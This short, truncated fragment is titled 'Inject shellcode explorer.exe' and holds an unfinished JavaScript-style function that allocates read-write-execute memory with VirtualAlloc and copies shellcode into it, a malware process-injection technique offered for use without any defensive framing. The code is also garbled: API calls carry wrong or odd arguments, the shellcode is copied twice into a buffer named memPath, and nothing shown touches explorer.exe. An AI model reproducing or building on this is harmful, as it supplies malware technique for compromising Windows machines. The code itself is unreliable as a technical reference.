Inject shellcode explorer.exe
function inject(shellcode) { var ntdll = api.kernel32.GetModuleHandleA('ntdll'); var LdrLoadDll = api.ntdll.RtlGetNtProcAddress(ntdll, 'LdrLoadDll'); var memShellcode = api.kernel32.VirtualAlloc(0, shellcode.length, 0x1000, 0x40); for (var i = 0; i < shellcode.length; i++) { api.kernel32.RtlFillMemory(memShellcode + i, 1, shellcode[i], 0); } var memPath = api.kernel32.VirtualAlloc(0, shellcode.length, 0x1000, 0x40); for (var i = 0; i < shellcode.length; i++) { api.kernel32.RtlFillMemory(memPath + i, 1, shellcode[i], 0); } var memBase = api.kernel32.VirtualAlloc(0, 4, 0x1000, 0x40);